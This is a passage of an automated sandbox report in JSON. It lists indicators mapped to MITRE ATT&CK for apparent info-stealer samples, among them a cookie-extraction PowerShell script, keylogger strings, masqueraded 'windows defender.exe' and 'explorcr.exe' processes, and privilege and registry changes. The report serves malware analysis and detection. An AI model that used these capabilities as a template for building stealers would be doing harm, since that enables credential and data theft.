\"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"Build.exe\" called \"GetComputerNameW\" (UID: 00000000-00005992)\n \"System Properties.exe\" called \"GetComputerNameW\" (UID: 00000000-00006668)\n \"windows defender.exe\" called \"GetComputerNameW\" (UID: 00000000-00006308)\n \"explorer.exe\" called \"GetComputerNameW\" (UID: 00000000-00007364)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00007948)\n \"explorcr.exe\" called \"GetComputerNameW\" (UID: 00000000-00007420)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"Build.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"System Properties.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"windows defender.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"explorer.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00007948)\n \"explorcr.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00007420)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"Build.exe\" called \"GetUserNameW\" (UID: 00000000-00005992)\n \"System Properties.exe\" called \"GetUserNameW\" (UID: 00000000-00006668)\n \"windows defender.exe\" called \"GetUserNameW\" (UID: 00000000-00006308)\n \"explorer.exe\" called \"GetUserNameW\" (UID: 00000000-00007364)\n \"powershell.exe\" called \"GetUserNameExW\" (UID: 00000000-00007948)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007948)\n \"explorcr.exe\" called \"GetUserNameW\" (UID: 00000000-00007420)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"7b82df8\"\n \"Count\": \"1\"}\n \"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"9151bb8\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$58","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"Launcher.exe\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; File: \"Launcher.exe\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; File: \"Launcher.exe\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Where-Object\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"Sort-Object\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"Where-Object\"; File: \"cookieextract.ps1\")\n file/memory contains long string with (Indicator: \"Sort-Object\"; File: \"cookieextract.ps1\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"Launcher.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"Launcher.exe\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"GetModuleHandle\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"Launcher.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-ChildItem\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"Get-Content\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"Get-ChildItem\"; File: \"cookieextract.ps1\")\n file/memory contains long string with (Indicator: \"Get-Content\"; File: \"cookieextract.ps1\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"Launcher.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"Launcher.exe\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"Win32API|GetSystemMetrics|SM_DEBUG\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00006668.00000001.156457.1DE10000.00000004.mdmp\")\n Found reference to API \"|GetSystemMetrics|SM_DEB\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"Launcher.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"Found reference to API \"IsInRole\" (Indicator: \"IsInRole\"; File: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp\")\n Found reference to API \"IsInRole\" (Indicator: \"IsInRole\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-217","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"Launcher.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005868.00000000.154394.00409000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"Found string \"[Shift]\" (Indicator: \"[shift]\"; File: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp\")\n Found string \"[Back]\" (Indicator: \"[Back]\"; File: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp\")\n Found string \"[Tab]\" (Indicator: \"[tab]\"; File: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"Build.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"System Properties.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueA\" in file \"Launcher.exe\"\n Found registry deletion API: \"RegDeleteKeyA\" in file \"Launcher.exe\"\n Found registry deletion API: \"RegDeleteValueA\" in \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyA\" in \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Able to retrieve security identifier (.NET)","description":"file/memory contains long string(File: \"Build.exe\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-945","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"Launcher.exe\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005992-00000C2B-1426269824\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006668-00000C2B-1418685728\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00006668-00000C2B-1418685765\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005868.00000000.154394.00409000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"Build.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005992)\n \"System Properties.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006668)\n \"windows defender.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006308)\n \"explorer.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007364)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007948)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"Launcher.exe\")\n Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; File: \"Launcher.exe\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"SetWindowsHookEx\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; File: \"Launcher.exe\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"Launcher.exe\")\n Found reference to API \"LookupPrivilegeValueA\" (Indicator: \"LookupPrivilegeValue\"; File: \"Launcher.exe\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; Source: \"00000000-00005868.00000000.154394.00409000.00000004.mdmp\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00005868.00000000.154394.00409000.00000004.mdmp\")\n Found reference to API \"LookupPrivilegeValueA\" (Indicator: \"LookupPrivilegeValue\"; Source: \"00000000-00005868.00000000.154394.00409000.00000004.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00005992.00000001.156379.03A20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"Launcher.exe\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"Launcher.exe\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00006668.00000000.154539.00512000.00000002.mdmp\n Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00006668.00000000.154539.00512000.00000002.mdmp\n 00000000-00006668.00000001.156457.14B80000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"Launcher.exe\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate services/features (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Stop-Process\"; File: \"Build.exe\")\n file/memory contains long string with (Indicator: \"Stop-Process\"; File: \"cookieextract.ps1\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-371","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"Launcher.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005868.00000000.154394.00407000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"Build.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"System Properties.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"explorer.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"F82C66CB2628DC0100000000000000000000000002000000\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"explorcr.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry 